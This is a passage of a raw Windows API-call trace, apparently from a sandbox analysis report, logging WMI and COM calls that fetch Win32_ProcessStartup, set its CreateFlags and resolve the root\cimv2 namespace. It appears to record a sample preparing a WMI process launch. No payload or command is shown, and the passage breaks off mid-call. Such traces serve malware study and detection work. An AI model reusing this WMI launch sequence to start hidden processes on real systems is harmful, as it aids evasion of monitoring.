Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf97c20) returned 0x0 [0082.482] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97c20, pProxy=0x1c0402c0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0082.482] WbemLocator:IUnknown:Release (This=0x1bf97c20) returned 0x1 [0082.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0402c0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf97c60) returned 0x0 [0082.482] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0402c0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf97c20) returned 0x0 [0082.482] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97c20, pProxy=0x1c0402c0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0082.482] WbemLocator:IUnknown:Release (This=0x1bf97c20) returned 0x2 [0082.482] WbemLocator:IUnknown:Release (This=0x1bf97c60) returned 0x1 [0082.482] CoTaskMemFree (pv=0x11dcb80) [0082.482] WbemLocator:IUnknown:AddRef (This=0x1c0402c0) returned 0x2 [0082.483] WbemLocator:IUnknown:Release (This=0x1c054810) returned 0x0 [0082.483] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0082.483] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0082.483] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0402c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf97c30) returned 0x0 [0082.483] WbemLocator:IRpcOptions:Query (in: This=0x1bf97c30, pPrx=0x1c054870, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0082.483] WbemLocator:IUnknown:Release (This=0x1bf97c30) returned 0x2 [0082.483] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0082.484] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0082.484] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0402c0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1c0402c0) returned 0x0 [0082.484] WbemLocator:IUnknown:Release (This=0x1c0402c0) returned 0x2 [0082.484] SysStringLen (param_1=0x0) returned 0x0 [0082.484] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0082.484] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0082.484] IWbemServices:GetObject (in: This=0x1c0402c0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1c02ba10, ppCallResult=0x0) returned 0x0 [0082.487] IWbemClassObject:Get (in: This=0x1c02ba10, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0082.487] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0082.488] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0082.488] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0082.488] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0082.488] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0082.488] IUnknown:Release (This=0x111f638) returned 0x1 [0082.490] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c054810) returned 0x0 [0082.490] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054810, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0082.491] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054810, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1c030230) returned 0x0 [0082.491] WbemDefPath:IUnknown:Release (This=0x1c054810) returned 0x0 [0082.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030230, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1c030230) returned 0x0 [0082.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030230, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0082.491] WbemDefPath:IUnknown:AddRef (This=0x1c030230) returned 0x3 [0082.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030230, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0082.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030230, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0082.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030230, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c054830) returned 0x0 [0082.491] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054830, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.491] WbemDefPath:IUnknown:Release (This=0x1c054830) returned 0x3 [0082.491] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0082.492] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0082.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030230, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0082.492] WbemDefPath:IUnknown:Release (This=0x1c030230) returned 0x2 [0082.492] WbemDefPath:IUnknown:Release (This=0x1c030230) returned 0x1 [0082.492] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0082.492] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0082.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030230, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1c030230) returned 0x0 [0082.492] WbemDefPath:IUnknown:AddRef (This=0x1c030230) returned 0x3 [0082.492] WbemDefPath:IUnknown:Release (This=0x1c030230) returned 0x2 [0082.492] WbemDefPath:IWbemPath:SetText (This=0x1c030230, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0082.492] IWbemClassObject:Get (in: This=0x1c02ba10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b014b0*=0, plFlavor=0x2b014b4*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b014b0*=19, plFlavor=0x2b014b4*=0) returned 0x0 [0082.492] IWbemClassObject:Get (in: This=0x1c02ba10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b014b0*=19, plFlavor=0x2b014b4*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2b014b0*=19, plFlavor=0x2b014b4*=0) returned 0x0 [0082.492] IWbemClassObject:Put (This=0x1c02ba10, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0082.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fff0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0082.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0082.493] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0082.493] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.493] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0082.493] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0082.493] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0082.493] IUnknown:Release (This=0x111f638) returned 0x1 [0082.495] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c0549d0) returned 0x0 [0082.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0549d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0082.495] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0549d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1c0302f0) returned 0x0 [0082.495] WbemDefPath:IUnknown:Release (This=0x1c0549d0) returned 0x0 [0082.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0302f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1c0302f0) returned 0x0 [0082.495] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0302f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0082.496] WbemDefPath:IUnknown:AddRef (This=0x1c0302f0) returned 0x3 [0082.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0302f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0082.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0302f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0082.496] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0302f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c054a10) returned 0x0 [0082.496] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054a10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.496] WbemDefPath:IUnknown:Release (This=0x1c054a10) returned 0x3 [0082.496] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0082.499] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0082.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0302f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0082.499] WbemDefPath:IUnknown:Release (This=0x1c0302f0) returned 0x2 [0082.499] WbemDefPath:IUnknown:Release (This=0x1c0302f0) returned 0x1 [0082.499] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0082.499] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0082.499] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0302f0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1c0302f0) returned 0x0 [0082.499] WbemDefPath:IUnknown:AddRef (This=0x1c0302f0) returned 0x3 [0082.499] WbemDefPath:IUnknown:Release (This=0x1c0302f0) returned 0x2 [0082.499] WbemDefPath:IWbemPath:SetText (This=0x1c0302f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0082.499] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0082.499] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0082.499] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.499] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0082.499] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0082.499] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0082.499] IUnknown:Release (This=0x111f638) returned 0x1 [0082.501] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c054b10) returned 0x0 [0082.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0082.501] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c054b10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c054b30) returned 0x0 [0082.501] WbemLocator:IUnknown:Release (This=0x1c054b10) returned 0x0 [0082.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c054b30) returned 0x0 [0082.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0082.501] WbemLocator:IUnknown:AddRef (This=0x1c054b30) returned 0x3 [0082.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0082.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0082.501] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0082.502] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0082.502] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0082.502] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0082.502] WbemLocator:IUnknown:Release (This=0x1c054b30) returned 0x2 [0082.502] WbemLocator:IUnknown:Release (This=0x1c054b30) returned 0x1 [0082.502] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0082.502] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0082.502] WbemLocator:IUnknown:QueryInterface (in: This=0x1c054b30, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c054b30) returned 0x0 [0082.502] WbemLocator:IUnknown:AddRef (This=0x1c054b30) returned 0x3 [0082.502] WbemLocator:IUnknown:Release (This=0x1c054b30) returned 0x2 [0082.539] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0302f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0082.539] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0082.539] WbemDefPath:IWbemPath:GetText (in: This=0x1c0302f0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.540] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, 